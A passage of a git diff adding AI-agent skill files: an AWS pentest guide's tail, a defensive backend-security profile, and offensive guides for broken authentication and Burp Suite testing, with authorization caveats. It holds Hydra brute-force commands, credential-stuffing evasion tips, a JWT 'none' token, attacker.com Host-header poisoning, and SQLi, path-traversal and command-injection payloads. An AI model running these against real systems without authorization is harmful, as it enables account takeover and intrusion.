List security groups +aws rds describe-db-security-groups + +# List proxies +aws rds describe-db-proxies +``` + +### Password-Based Access + +```bash +mysql -h HOSTNAME -u USERNAME -P PORT -p +``` + +### IAM-Based Access + +```bash +# Generate auth token +TOKEN=$(aws rds generate-db-auth-token \ + --hostname HOSTNAME \ + --port PORT \ + --username USERNAME \ + --region REGION) + +# Connect with token +mysql -h HOSTNAME -u USERNAME -P PORT \ + --enable-cleartext-plugin --password=$TOKEN +``` + +--- + +## DynamoDB Exploitation + +```bash +# List tables +aws dynamodb list-tables + +# Scan table contents +aws dynamodb scan --table-name TABLE_NAME | jq -r '.Items[]' + +# Query specific items +aws dynamodb query --table-name TABLE_NAME \ + --key-condition-expression "pk = :pk" \ + --expression-attribute-values '{":pk":{"S":"user"}}' +``` + +--- + +## VPC Enumeration & Lateral Movement + +### VPC Enumeration + +```bash +# List VPCs +aws ec2 describe-vpcs + +# List subnets +aws ec2 describe-subnets --filters "Name=vpc-id,Values=VPC_ID" + +# List route tables +aws ec2 describe-route-tables --filters "Name=vpc-id,Values=VPC_ID" + +# List Network ACLs +aws ec2 describe-network-acls + +# List VPC peering connections +aws ec2 describe-vpc-peering-connections +``` + +### Route Table Targets + +| Destination | Target | Description | +|-------------|--------|-------------| +| IP | `local` | VPC internal | +| IP | `igw` | Internet Gateway | +| IP | `nat` | NAT Gateway | +| IP | `pcx` | VPC Peering | +| IP | `vpce` | VPC Endpoint | +| IP | `vgw` | VPN Gateway | +| IP | `eni` | Network Interface | + +### Lateral Movement via VPC Peering + +```bash +# List peering connections +aws ec2 describe-vpc-peering-connections + +# List instances in target VPC +aws ec2 describe-instances --filters "Name=vpc-id,Values=VPC_ID" + +# List instances in specific subnet +aws ec2 describe-instances --filters "Name=subnet-id,Values=SUBNET_ID" +``` + +--- + +## Security Checklist + +### Identity and Access Management +- [ ] Avoid use of root account +- [ ] MFA enabled for all IAM users with console access +- [ ] Disable credentials unused for 90+ days +- [ ] Rotate access keys every 90 days +- [ ] Password policy: uppercase, lowercase, symbol, number, 14+ chars +- [ ] No root access keys exist +- [ ] MFA enabled for root account +- [ ] IAM policies attached to groups/roles only + +### Logging +- [ ] CloudTrail enabled in all regions +- [ ] CloudTrail log file validation enabled +- [ ] CloudTrail S3 bucket not publicly accessible +- [ ] CloudTrail integrated with CloudWatch Logs +- [ ] AWS Config enabled in all regions +- [ ] CloudTrail logs encrypted with KMS +- [ ] KMS key rotation enabled + +### Networking +- [ ] No security groups allow 0.0.0.0/0 to port 22 +- [ ] No security groups allow 0.0.0.0/0 to port 3389 +- [ ] VPC flow logging enabled +- [ ] Default security group restricts all traffic + +### Monitoring +- [ ] Alarm for unauthorized API calls +- [ ] Alarm for console sign-in without MFA +- [ ] Alarm for root account usage +- [ ] Alarm for IAM policy changes +- [ ] Alarm for CloudTrail config changes +- [ ] Alarm for console auth failures +- [ ] Alarm for CMK disabling/deletion +- [ ] Alarm for S3 bucket policy changes +- [ ] Alarm for security group changes +- [ ] Alarm for NACL changes +- [ ] Alarm for VPC changes diff --git a/skills/backend-security-coder/SKILL.md b/skills/backend-security-coder/SKILL.md new file mode 100644 index 0000000000000000000000000000000000000000..568bde3bac7d662ea3991c0cdcf46170b813be49 --- /dev/null +++ b/skills/backend-security-coder/SKILL.md @@ -0,0 +1,160 @@ +--- +name: backend-security-coder +description: Expert in secure backend coding practices specializing in input validation, authentication, and API security. Use PROACTIVELY for backend security implementations or security code reviews. +risk: unknown +source: community +date_added: '2026-02-27' +--- + +## Use this skill when + +- Working on backend security coder tasks or workflows +- Needing guidance, best practices, or checklists for backend security coder + +## Do not use this skill when + +- The task is unrelated to backend security coder +- You need a different domain or tool outside this scope + +## Instructions + +- Clarify goals, constraints, and required inputs. +- Apply relevant best practices and validate outcomes. +- Provide actionable steps and verification. +- If detailed examples are required, open `resources/implementation-playbook.md`. + +You are a backend security coding expert specializing in secure development practices, vulnerability prevention, and secure architecture implementation. + +## Purpose +Expert backend security developer with comprehensive knowledge of secure coding practices, vulnerability prevention, and defensive programming techniques. Masters input validation, authentication systems, API security, database protection, and secure error handling. Specializes in building security-first backend applications that resist common attack vectors. + +## When to Use vs Security Auditor +- **Use this agent for**: Hands-on backend security coding, API security implementation, database security configuration, authentication system coding, vulnerability fixes +- **Use security-auditor for**: High-level security audits, compliance assessments, DevSecOps pipeline design, threat modeling, security architecture reviews, penetration testing planning +- **Key difference**: This agent focuses on writing secure backend code, while security-auditor focuses on auditing and assessing security posture + +## Capabilities + +### General Secure Coding Practices +- **Input validation and sanitization**: Comprehensive input validation frameworks, allowlist approaches, data type enforcement +- **Injection attack prevention**: SQL injection, NoSQL injection, LDAP injection, command injection prevention techniques +- **Error handling security**: Secure error messages, logging without information leakage, graceful degradation +- **Sensitive data protection**: Data classification, secure storage patterns, encryption at rest and in transit +- **Secret management**: Secure credential storage, environment variable best practices, secret rotation strategies +- **Output encoding**: Context-aware encoding, preventing injection in templates and APIs + +### HTTP Security Headers and Cookies +- **Content Security Policy (CSP)**: CSP implementation, nonce and hash strategies, report-only mode +- **Security headers**: HSTS, X-Frame-Options, X-Content-Type-Options, Referrer-Policy implementation +- **Cookie security**: HttpOnly, Secure, SameSite attributes, cookie scoping and domain restrictions +- **CORS configuration**: Strict CORS policies, preflight request handling, credential-aware CORS +- **Session management**: Secure session handling, session fixation prevention, timeout management + +### CSRF Protection +- **Anti-CSRF tokens**: Token generation, validation, and refresh strategies for cookie-based authentication +- **Header validation**: Origin and Referer header validation for non-GET requests +- **Double-submit cookies**: CSRF token implementation in cookies and headers +- **SameSite cookie enforcement**: Leveraging SameSite attributes for CSRF protection +- **State-changing operation protection**: Authentication requirements for sensitive actions + +### Output Rendering Security +- **Context-aware encoding**: HTML, JavaScript, CSS, URL encoding based on output context +- **Template security**: Secure templating practices, auto-escaping configuration +- **JSON response security**: Preventing JSON hijacking, secure API response formatting +- **XML security**: XML external entity (XXE) prevention, secure XML parsing +- **File serving security**: Secure file download, content-type validation, path traversal prevention + +### Database Security +- **Parameterized queries**: Prepared statements, ORM security configuration, query parameterization +- **Database authentication**: Connection security, credential management, connection pooling security +- **Data encryption**: Field-level encryption, transparent data encryption, key management +- **Access control**: Database user privilege separation, role-based access control +- **Audit logging**: Database activity monitoring, change tracking, compliance logging +- **Backup security**: Secure backup procedures, encryption of backups, access control for backup files + +### API Security +- **Authentication mechanisms**: JWT security, OAuth 2.0/2.1 implementation, API key management +- **Authorization patterns**: RBAC, ABAC, scope-based access control, fine-grained permissions +- **Input validation**: API request validation, payload size limits, content-type validation +- **Rate limiting**: Request throttling, burst protection, user-based and IP-based limiting +- **API versioning security**: Secure version management, backward compatibility security +- **Error handling**: Consistent error responses, security-aware error messages, logging strategies + +### External Requests Security +- **Allowlist management**: Destination allowlisting, URL validation, domain restriction +- **Request validation**: URL sanitization, protocol restrictions, parameter validation +- **SSRF prevention**: Server-side request forgery protection, internal network isolation +- **Timeout and limits**: Request timeout configuration, response size limits, resource protection +- **Certificate validation**: SSL/TLS certificate pinning, certificate authority validation +- **Proxy security**: Secure proxy configuration, header forwarding restrictions + +### Authentication and Authorization +- **Multi-factor authentication**: TOTP, hardware tokens, biometric integration, backup codes +- **Password security**: Hashing algorithms (bcrypt, Argon2), salt generation, password policies +- **Session security**: Secure session tokens, session invalidation, concurrent session management +- **JWT implementation**: Secure JWT handling, signature verification, token expiration +- **OAuth security**: Secure OAuth flows, PKCE implementation, scope validation + +### Logging and Monitoring +- **Security logging**: Authentication events, authorization failures, suspicious activity tracking +- **Log sanitization**: Preventing log injection, sensitive data exclusion from logs +- **Audit trails**: Comprehensive activity logging, tamper-evident logging, log integrity +- **Monitoring integration**: SIEM integration, alerting on security events, anomaly detection +- **Compliance logging**: Regulatory requirement compliance, retention policies, log encryption + +### Cloud and Infrastructure Security +- **Environment configuration**: Secure environment variable management, configuration encryption +- **Container security**: Secure Docker practices, image scanning, runtime security +- **Secrets management**: Integration with HashiCorp Vault, AWS Secrets Manager, Azure Key Vault +- **Network security**: VPC configuration, security groups, network segmentation +- **Identity and access management**: IAM roles, service account security, principle of least privilege + +## Behavioral Traits +- Validates and sanitizes all user inputs using allowlist approaches +- Implements defense-in-depth with multiple security layers +- Uses parameterized queries and prepared statements exclusively +- Never exposes sensitive information in error messages or logs +- Applies principle of least privilege to all access controls +- Implements comprehensive audit logging for security events +- Uses secure defaults and fails securely in error conditions +- Regularly updates dependencies and monitors for vulnerabilities +- Considers security implications in every design decision +- Maintains separation of concerns between security layers + +## Knowledge Base +- OWASP Top 10 and secure coding guidelines +- Common vulnerability patterns and prevention techniques +- Authentication and authorization best practices +- Database security and query parameterization +- HTTP security headers and cookie security +- Input validation and output encoding techniques +- Secure error handling and logging practices +- API security and rate limiting strategies +- CSRF and SSRF prevention mechanisms +- Secret management and encryption practices + +## Response Approach +1. **Assess security requirements** including threat model and compliance needs +2. **Implement input validation** with comprehensive sanitization and allowlist approaches +3. **Configure secure authentication** with multi-factor authentication and session management +4. **Apply database security** with parameterized queries and access controls +5. **Set security headers** and implement CSRF protection for web applications +6. **Implement secure API design** with proper authentication and rate limiting +7. **Configure secure external requests** with allowlists and validation +8. **Set up security logging** and monitoring for threat detection +9. **Review and test security controls** with both automated and manual testing + +## Example Interactions +- "Implement secure user authentication with JWT and refresh token rotation" +- "Review this API endpoint for injection vulnerabilities and implement proper validation" +- "Configure CSRF protection for cookie-based authentication system" +- "Implement secure database queries with parameterization and access controls" +- "Set up comprehensive security headers and CSP for web application" +- "Create secure error handling that doesn't leak sensitive information" +- "Implement rate limiting and DDoS protection for public API endpoints" +- "Design secure external service integration with allowlist validation" + +## Limitations +- Use this skill only when the task clearly matches the scope described above. +- Do not treat the output as a substitute for environment-specific validation, testing, or expert review. +- Stop and ask for clarification if required inputs, permissions, safety boundaries, or success criteria are missing. diff --git a/skills/broken-authentication/SKILL.md b/skills/broken-authentication/SKILL.md new file mode 100644 index 0000000000000000000000000000000000000000..db8b8d398c20efa4dd21dc0dc33b828980fe1e73 --- /dev/null +++ b/skills/broken-authentication/SKILL.md @@ -0,0 +1,480 @@ +--- +name: broken-authentication +description: "Identify and exploit authentication and session management vulnerabilities in web applications. Broken authentication consistently ranks in the OWASP Top 10 and can lead to account takeover, identity theft, and unauthorized access to sensitive systems." +risk: unknown +source: community +author: zebbern +date_added: "2026-02-27" +--- + +# Broken Authentication Testing + +## Purpose + +Identify and exploit authentication and session management vulnerabilities in web applications. Broken authentication consistently ranks in the OWASP Top 10 and can lead to account takeover, identity theft, and unauthorized access to sensitive systems. This skill covers testing methodologies for password policies, session handling, multi-factor authentication, and credential management. + +## Prerequisites + +### Required Knowledge +- HTTP protocol and session mechanisms +- Authentication types (SFA, 2FA, MFA) +- Cookie and token handling +- Common authentication frameworks + +### Required Tools +- Burp Suite Professional or Community +- Hydra or similar brute-force tools +- Custom wordlists for credential testing +- Browser developer tools + +### Required Access +- Target application URL +- Test account credentials +- Written authorization for testing + +## Outputs and Deliverables + +1. **Authentication Assessment Report** - Document all identified vulnerabilities +2. **Credential Testing Results** - Brute-force and dictionary attack outcomes +3. **Session Security Analysis** - Token randomness and timeout evaluation +4. **Remediation Recommendations** - Security hardening guidance + +## Core Workflow + +### Phase 1: Authentication Mechanism Analysis + +Understand the application's authentication architecture: + +``` +# Identify authentication type +- Password-based (forms, basic auth, digest) +- Token-based (JWT, OAuth, API keys) +- Certificate-based (mutual TLS) +- Multi-factor (SMS, TOTP, hardware tokens) + +# Map authentication endpoints +/login, /signin, /authenticate +/register, /signup +/forgot-password, /reset-password +/logout, /signout +/api/auth/*, /oauth/* +``` + +Capture and analyze authentication requests: + +```http +POST /login HTTP/1.1 +Host: target.com +Content-Type: application/x-www-form-urlencoded + +username=test&password=test123 +``` + +### Phase 2: Password Policy Testing + +Evaluate password requirements and enforcement: + +```bash +# Test minimum length (a, ab, abcdefgh) +# Test complexity (password, password1, Password1!) +# Test common weak passwords (123456, password, qwerty, admin) +# Test username as password (admin/admin, test/test) +``` + +Document policy gaps: Minimum length <8, no complexity, common passwords allowed, username as password. + +### Phase 3: Credential Enumeration + +Test for username enumeration vulnerabilities: + +```bash +# Compare responses for valid vs invalid usernames +# Invalid: "Invalid username" vs Valid: "Invalid password" +# Check timing differences, response codes, registration messages +``` + +# Password reset +"Email sent if account exists" (secure) +"No account with that email" (leaks info) + +# API responses +{"error": "user_not_found"} +{"error": "invalid_password"} +``` + +### Phase 4: Brute Force Testing + +Test account lockout and rate limiting: + +```bash +# Using Hydra for form-based auth +hydra -l admin -P /usr/share/wordlists/rockyou.txt \ + target.com http-post-form \ + "/login:username=^USER^&password=^PASS^:Invalid credentials" + +# Using Burp Intruder +1. Capture login request +2. Send to Intruder +3. Set payload positions on password field +4. Load wordlist +5. Start attack +6. Analyze response lengths/codes +``` + +Check for protections: + +```bash +# Account lockout +- After how many attempts? +- Duration of lockout? +- Lockout notification? + +# Rate limiting +- Requests per minute limit? +- IP-based or account-based? +- Bypass via headers (X-Forwarded-For)? + +# CAPTCHA +- After failed attempts? +- Easily bypassable? +``` + +### Phase 5: Credential Stuffing + +Test with known breached credentials: + +```bash +# Credential stuffing differs from brute force +# Uses known email:password pairs from breaches + +# Using Burp Intruder with Pitchfork attack +1. Set username and password as positions +2. Load email list as payload 1 +3. Load password list as payload 2 (matched pairs) +4. Analyze for successful logins + +# Detection evasion +- Slow request rate +- Rotate source IPs +- Randomize user agents +- Add delays between attempts +``` + +### Phase 6: Session Management Testing + +Analyze session token security: + +```bash +# Capture session cookie +Cookie: SESSIONID=abc123def456 + +# Test token characteristics +1. Entropy - Is it random enough? +2. Length - Sufficient length (128+ bits)? +3. Predictability - Sequential patterns? +4. Secure flags - HttpOnly, Secure, SameSite? +``` + +Session token analysis: + +```python +#!/usr/bin/env python3 +import requests +import hashlib + +# Collect multiple session tokens +tokens = [] +for i in range(100): + response = requests.get("https://target.com/login") + token = response.cookies.get("SESSIONID") + tokens.append(token) + +# Analyze for patterns +# Check for sequential increments +# Calculate entropy +# Look for timestamp components +``` + +### Phase 7: Session Fixation Testing + +Test if session is regenerated after authentication: + +```bash +# Step 1: Get session before login +GET /login HTTP/1.1 +Response: Set-Cookie: SESSIONID=abc123 + +# Step 2: Login with same session +POST /login HTTP/1.1 +Cookie: SESSIONID=abc123 +username=valid&password=valid + +# Step 3: Check if session changed +# VULNERABLE if SESSIONID remains abc123 +# SECURE if new session assigned after login +``` + +Attack scenario: + +```bash +# Attacker workflow: +1. Attacker visits site, gets session: SESSIONID=attacker_session +2. Attacker sends link to victim with fixed session: + https://target.com/login?SESSIONID=attacker_session +3. Victim logs in with attacker's session +4. Attacker now has authenticated session +``` + +### Phase 8: Session Timeout Testing + +Verify session expiration policies: + +```bash +# Test idle timeout +1. Login and note session cookie +2. Wait without activity (15, 30, 60 minutes) +3. Attempt to use session +4. Check if session is still valid + +# Test absolute timeout +1. Login and continuously use session +2. Check if forced logout after set period (8 hours, 24 hours) + +# Test logout functionality +1. Login and note session +2. Click logout +3. Attempt to reuse old session cookie +4. Session should be invalidated server-side +``` + +### Phase 9: Multi-Factor Authentication Testing + +Assess MFA implementation security: + +```bash +# OTP brute force +- 4-digit OTP = 10,000 combinations +- 6-digit OTP = 1,000,000 combinations +- Test rate limiting on OTP endpoint + +# OTP bypass techniques +- Skip MFA step by direct URL access +- Modify response to indicate MFA passed +- Null/empty OTP submission +- Previous valid OTP reuse + +# API Version Downgrade Attack (crAPI example) +# If /api/v3/check-otp has rate limiting, try older versions: +POST /api/v2/check-otp +{"otp": "1234"} +# Older API versions may lack security controls + +# Using Burp for OTP testing +1. Capture OTP verification request +2. Send to Intruder +3. Set OTP field as payload position +4. Use numbers payload (0000-9999) +5. Check for successful bypass +``` + +Test MFA enrollment: + +```bash +# Forced enrollment +- Can MFA be skipped during setup? +- Can backup codes be accessed without verification? + +# Recovery process +- Can MFA be disabled via email alone? +- Social engineering potential? +``` + +### Phase 10: Password Reset Testing + +Analyze password reset security: + +```bash +# Token security +1. Request password reset +2. Capture reset link +3. Analyze token: + - Length and randomness + - Expiration time + - Single-use enforcement + - Account binding + +# Token manipulation +https://target.com/reset?token=abc123&user=victim +# Try changing user parameter while using valid token + +# Host header injection +POST /forgot-password HTTP/1.1 +Host: attacker.com +email=victim@email.com +# Reset email may contain attacker's domain +``` + +## Quick Reference + +### Common Vulnerability Types + +| Vulnerability | Risk | Test Method | +|--------------|------|-------------| +| Weak passwords | High | Policy testing, dictionary attack | +| No lockout | High | Brute force testing | +| Username enumeration | Medium | Differential response analysis | +| Session fixation | High | Pre/post-login session comparison | +| Weak session tokens | High | Entropy analysis | +| No session timeout | Medium | Long-duration session testing | +| Insecure password reset | High | Token analysis, workflow bypass | +| MFA bypass | Critical | Direct access, response manipulation | + +### Credential Testing Payloads + +```bash +# Default credentials +admin:admin +admin:password +admin:123456 +root:root +test:test +user:user + +# Common passwords +123456 +password +12345678 +qwerty +abc123 +password1 +admin123 + +# Breached credential databases +- Have I Been Pwned dataset +- SecLists passwords +- Custom targeted lists +``` + +### Session Cookie Flags + +| Flag | Purpose | Vulnerability if Missing | +|------|---------|------------------------| +| HttpOnly | Prevent JS access | XSS can steal session | +| Secure | HTTPS only | Sent over HTTP | +| SameSite | CSRF protection | Cross-site requests allowed | +| Path | URL scope | Broader exposure | +| Domain | Domain scope | Subdomain access | +| Expires | Lifetime | Persistent sessions | + +### Rate Limiting Bypass Headers + +```http +X-Forwarded-For: 127.0.0.1 +X-Real-IP: 127.0.0.1 +X-Originating-IP: 127.0.0.1 +X-Client-IP: 127.0.0.1 +X-Remote-IP: 127.0.0.1 +True-Client-IP: 127.0.0.1 +``` + +## Constraints and Limitations + +### Legal Requirements +- Only test with explicit written authorization +- Avoid testing with real breached credentials +- Do not access actual user accounts +- Document all testing activities + +### Technical Limitations +- CAPTCHA may prevent automated testing +- Rate limiting affects brute force timing +- MFA significantly increases attack difficulty +- Some vulnerabilities require victim interaction + +### Scope Considerations +- Test accounts may behave differently than production +- Some features may be disabled in test environments +- Third-party authentication may be out of scope +- Production testing requires extra caution + +## Examples + +### Example 1: Account Lockout Bypass + +**Scenario:** Test if account lockout can be bypassed + +```bash +# Step 1: Identify lockout threshold +# Try 5 wrong passwords for admin account +# Result: "Account locked for 30 minutes" + +# Step 2: Test bypass via IP rotation +# Use X-Forwarded-For header +POST /login HTTP/1.1 +X-Forwarded-For: 192.168.1.1 +username=admin&password=attempt1 + +# Increment IP for each attempt +X-Forwarded-For: 192.168.1.2 +# Continue until successful or confirmed blocked + +# Step 3: Test bypass via case manipulation +username=Admin (vs admin) +username=ADMIN +# Some systems treat these as different accounts +``` + +### Example 2: JWT Token Attack + +**Scenario:** Exploit weak JWT implementation + +```bash +# Step 1: Capture JWT token +Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VyIjoidGVzdCJ9.signature + +# Step 2: Decode and analyze +# Header: {"alg":"HS256","typ":"JWT"} +# Payload: {"user":"test","role":"user"} + +# Step 3: Try "none" algorithm attack +# Change header to: {"alg":"none","typ":"JWT"} +# Remove signature +eyJhbGciOiJub25lIiwidHlwIjoiSldUIn0.eyJ1c2VyIjoiYWRtaW4iLCJyb2xlIjoiYWRtaW4ifQ. + +# Step 4: Submit modified token +Authorization: Bearer eyJhbGciOiJub25lIiwidHlwIjoiSldUIn0.eyJ1c2VyIjoiYWRtaW4ifQ. +``` + +### Example 3: Password Reset Token Exploitation + +**Scenario:** Test password reset functionality + +```bash +# Step 1: Request reset for test account +POST /forgot-password +email=test@example.com + +# Step 2: Capture reset link +https://target.com/reset?token=a1b2c3d4e5f6 + +# Step 3: Test token properties +# Reuse: Try using same token twice +# Expiration: Wait 24+ hours and retry +# Modification: Change characters in token + +# Step 4: Test for user parameter manipulation +https://target.com/reset?token=a1b2c3d4e5f6&email=admin@example.com +# Check if admin's password can be reset with test user's token +``` + +## Troubleshooting + +| Issue | Solutions | +|-------|-----------| +| Brute force too slow | Identify rate limit scope; IP rotation; add delays; use targeted wordlists | +| Session analysis inconclusive | Collect 1000+ tokens; use statistical tools; check for timestamps; compare accounts | +| MFA cannot be bypassed | Document as secure; test backup/recovery mechanisms; check MFA fatigue; verify enrollment | +| Account lockout prevents testing | Request multiple test accounts; test threshold first; use slower timing | + +## When to Use +This skill is applicable to execute the workflow or actions described in the overview. diff --git a/skills/burp-suite-testing/SKILL.md b/skills/burp-suite-testing/SKILL.md new file mode 100644 index 0000000000000000000000000000000000000000..d1657dd90b460af4fadde32a53f13fc46a3cc366 --- /dev/null +++ b/skills/burp-suite-testing/SKILL.md @@ -0,0 +1,386 @@ +--- +name: burp-suite-testing +description: "Execute comprehensive web application security testing using Burp Suite's integrated toolset, including HTTP traffic interception and modification, request analysis and replay, automated vulnerability scanning, and manual testing workflows." +risk: offensive +source: community +author: zebbern +date_added: "2026-02-27" +--- + +> AUTHORIZED USE ONLY: Use this skill only for authorized security assessments, defensive validation, or controlled educational environments. + +# Burp Suite Web Application Testing + +## Purpose + +Execute comprehensive web application security testing using Burp Suite's integrated toolset, including HTTP traffic interception and modification, request analysis and replay, automated vulnerability scanning, and manual testing workflows. This skill enables systematic discovery and exploitation of web application vulnerabilities through proxy-based testing methodology. + +## Inputs / Prerequisites + +### Required Tools +- Burp Suite Community or Professional Edition installed +- Burp's embedded browser or configured external browser +- Target web application URL +- Valid credentials for authenticated testing (if applicable) + +### Environment Setup +- Burp Suite launched with temporary or named project +- Proxy listener active on 127.0.0.1:8080 (default) +- Browser configured to use Burp proxy (or use Burp's browser) +- CA certificate installed for HTTPS interception + +### Editions Comparison +| Feature | Community | Professional | +|---------|-----------|--------------| +| Proxy | ✓ | ✓ | +| Repeater | ✓ | ✓ | +| Intruder | Limited | Full | +| Scanner | ✗ | ✓ | +| Extensions | ✓ | ✓ | + +## Outputs / Deliverables + +### Primary Outputs +- Intercepted and modified HTTP requests/responses +- Vulnerability scan reports with remediation advice +- HTTP history and site map documentation +- Proof-of-concept exploits for identified vulnerabilities + +## Core Workflow + +### Phase 1: Intercepting HTTP Traffic + +#### Launch Burp's Browser +Navigate to integrated browser for seamless proxy integration: + +1. Open Burp Suite and create/open project +2. Go to **Proxy > Intercept** tab +3. Click **Open Browser** to launch preconfigured browser +4. Position windows to view both Burp and browser simultaneously + +#### Configure Interception +Control which requests are captured: + +``` +Proxy > Intercept > Intercept is on/off toggle + +When ON: Requests pause for review/modification +When OFF: Requests pass through, logged to history +``` + +#### Intercept and Forward Requests +Process intercepted traffic: + +1. Set intercept toggle to **Intercept on** +2. Navigate to target URL in browser +3. Observe request held in Proxy > Intercept tab +4. Review request contents (headers, parameters, body) +5. Click **Forward** to send request to server +6. Continue forwarding subsequent requests until page loads + +#### View HTTP History +Access complete traffic log: + +1. Go to **Proxy > HTTP history** tab +2. Click any entry to view full request/response +3. Sort by clicking column headers (# for chronological order) +4. Use filters to focus on relevant traffic + +### Phase 2: Modifying Requests + +#### Intercept and Modify +Change request parameters before forwarding: + +1. Enable interception: **Intercept on** +2. Trigger target request in browser +3. Locate parameter to modify in intercepted request +4. Edit value directly in request editor +5. Click **Forward** to send modified request + +#### Common Modification Targets +| Target | Example | Purpose | +|--------|---------|---------| +| Price parameters | `price=1` | Test business logic | +| User IDs | `userId=admin` | Test access control | +| Quantity values | `qty=-1` | Test input validation | +| Hidden fields | `isAdmin=true` | Test privilege escalation | + +#### Example: Price Manipulation + +```http +POST /cart HTTP/1.1 +Host: target.com +Content-Type: application/x-www-form-urlencoded + +productId=1&quantity=1&price=100 + +# Modify to: +productId=1&quantity=1&price=1 +``` + +Result: Item added to cart at modified price. + +### Phase 3: Setting Target Scope + +#### Define Scope +Focus testing on specific target: + +1. Go to **Target > Site map** +2. Right-click target host in left panel +3. Select **Add to scope** +4. When prompted, click **Yes** to exclude out-of-scope traffic + +#### Filter by Scope +Remove noise from HTTP history: + +1. Click display filter above HTTP history +2. Select **Show only in-scope items** +3. History now shows only target site traffic + +#### Scope Benefits +- Reduces clutter from third-party requests +- Prevents accidental testing of out-of-scope sites +- Improves scanning efficiency +- Creates cleaner reports + +### Phase 4: Using Burp Repeater + +#### Send Request to Repeater +Prepare request for manual testing: + +1. Identify interesting request in HTTP history +2. Right-click request and select **Send to Repeater** +3. Go to **Repeater** tab to access request + +#### Modify and Resend +Test different inputs efficiently: + +``` +1. View request in Repeater tab +2. Modify parameter values +3. Click Send to submit request +4. Review response in right panel +5. Use navigation arrows to review request history +``` + +#### Repeater Testing Workflow + +``` +Original Request: +GET /product?productId=1 HTTP/1.1 + +Test 1: productId=2 → Valid product response +Test 2: productId=999 → Not Found response +Test 3: productId=' → Error/exception response +Test 4: productId=1 OR 1=1 → SQL injection test +``` + +#### Analyze Responses +Look for indicators of vulnerabilities: + +- Error messages revealing stack traces +- Framework/version information disclosure +- Different response lengths indicating logic flaws +- Timing differences suggesting blind injection +- Unexpected data in responses + +### Phase 5: Running Automated Scans + +#### Launch New Scan +Initiate vulnerability scanning (Professional only): + +1. Go to **Dashboard** tab +2. Click **New scan** +3. Enter target URL in **URLs to scan** field +4. Configure scan settings + +#### Scan Configuration Options + +| Mode | Description | Duration | +|------|-------------|----------| +| Lightweight | High-level overview | ~15 minutes | +| Fast | Quick vulnerability check | ~30 minutes | +| Balanced | Standard comprehensive scan | ~1-2 hours | +| Deep | Thorough testing | Several hours | + +#### Monitor Scan Progress +Track scanning activity: + +1. View task status in **Dashboard** +2. Watch **Target > Site map** update in real-time +3. Check **Issues** tab for discovered vulnerabilities + +#### Review Identified Issues +Analyze scan findings: + +1. Select scan task in Dashboard +2. Go to **Issues** tab +3. Click issue to view: + - **Advisory**: Description and remediation + - **Request**: Triggering HTTP request + - **Response**: Server response showing vulnerability + +### Phase 6: Intruder Attacks + +#### Configure Intruder +Set up automated attack: + +1. Send request to Intruder (right-click > Send to Intruder) +2. Go to **Intruder** tab +3. Define payload positions using § markers +4. Select attack type + +#### Attack Types + +| Type | Description | Use Case | +|------|-------------|----------| +| Sniper | Single position, iterate payloads | Fuzzing one parameter | +| Battering ram | Same payload all positions | Credential testing | +| Pitchfork | Parallel payload iteration | Username:password pairs | +| Cluster bomb | All payload combinations | Full brute force | + +#### Configure Payloads + +``` +Positions Tab: +POST /login HTTP/1.1 +... +username=§admin§&password=§password§ + +Payloads Tab: +Set 1: admin, user, test, guest +Set 2: password, 123456, admin, letmein +``` + +#### Analyze Results +Review attack output: + +- Sort by response length to find anomalies +- Filter by status code for successful attempts +- Use grep to search for specific strings +- Export results for documentation + +## Quick Reference + +### Keyboard Shortcuts +| Action | Windows/Linux | macOS | +|--------|---------------|-------| +| Forward request | Ctrl+F | Cmd+F | +| Drop request | Ctrl+D | Cmd+D | +| Send to Repeater | Ctrl+R | Cmd+R | +| Send to Intruder | Ctrl+I | Cmd+I | +| Toggle intercept | Ctrl+T | Cmd+T | + +### Common Testing Payloads + +``` +# SQL Injection +' OR '1'='1 +' OR '1'='1'-- +1 UNION SELECT NULL-- + +# XSS + +"> +javascript:alert(1) + +# Path Traversal +../../../etc/passwd +..\..\..\..\windows\win.ini + +# Command Injection +; ls -la +| cat /etc/passwd +`whoami` +``` + +### Request Modification Tips +- Right-click for context menu options +- Use decoder for encoding/decoding +- Compare requests using Comparer tool +- Save interesting requests to project + +## Constraints and Guardrails + +### Operational Boundaries +- Test only authorized applications +- Configure scope to prevent accidental out-of-scope testing +- Rate-limit scans to avoid denial of service +- Document all findings and actions + +### Technical Limitations +- Community Edition lacks automated scanner +- Some sites may block proxy traffic +- HSTS/certificate pinning may require additional configuration +- Heavy scanning may trigger WAF blocks + +### Best Practices +- Always set target scope before extensive testing +- Use Burp's browser for reliable interception +- Save project regularly to preserve work +- Review scan results manually for false positives + +## Examples + +### Example 1: Business Logic Testing + +**Scenario**: E-commerce price manipulation + +1. Add item to cart normally, intercept request +2. Identify `price=9999` parameter in POST body +3. Modify to `price=1` +4. Forward request +5. Complete checkout at manipulated price + +**Finding**: Server trusts client-provided price values. + +### Example 2: Authentication Bypass + +**Scenario**: Testing login form + +1. Submit valid credentials, capture request in Repeater +2. Send to Repeater for testing +3. Try: `username=admin' OR '1'='1'--` +4. Observe successful login response + +**Finding**: SQL injection in authentication. + +### Example 3: Information Disclosure + +**Scenario**: Error-based information gathering + +1. Navigate to product page, observe `productId` parameter +2. Send request to Repeater +3. Change `productId=1` to `productId=test` +4. Observe verbose error revealing framework version + +**Finding**: Apache Struts 2.5.12 disclosed in stack trace. + +## Troubleshooting + +### Browser Not Connecting Through Proxy +- Verify proxy listener is active (Proxy > Options) +- Check browser proxy settings point to 127.0.0.1:8080 +- Ensure no firewall blocking local connections +- Use Burp's embedded browser for reliable setup + +### HTTPS Interception Failing +- Install Burp CA certificate in browser/system +- Navigate to http://burp to download certificate +- Add certificate to trusted roots +- Restart browser after installation + +### Slow Performance +- Limit scope to reduce processing +- Disable unnecessary extensions +- Increase Java heap size in startup options +- Close unused Burp tabs and features + +### Requests Not Being Intercepted +- Verify "Intercept on" is enabled +- Check intercept rules aren't filtering target +- Ensure browser is using Burp proxy +- Verify target isn't using unsupported protocol + +## When to Use +This skill is applicable to execute the workflow or actions described in the overview. diff --git a/skills/canvas-design/LICENSE.txt b/skills/canvas-design/LICENSE.txt new file mode 100644 index 0000000000000000000000000000000000000000..4f881c52d1f72f4cfb720e339e2d35c3058d01a9 --- /dev/null +++ b/skills/canvas-design/LICENSE.txt @@ -0,0 +1,202 @@ + + Apache License + Version 2.0, January 2004 + http://www.apache.org/licenses/ + + TERMS AND CONDITIONS FOR USE, REPRODUCTION, AND DISTRIBUTION + + 1. Definitions. + + "License" shall mean the terms and conditions for use, reproduction, + and distribution as defined by Sections 1 through 9 of this document. 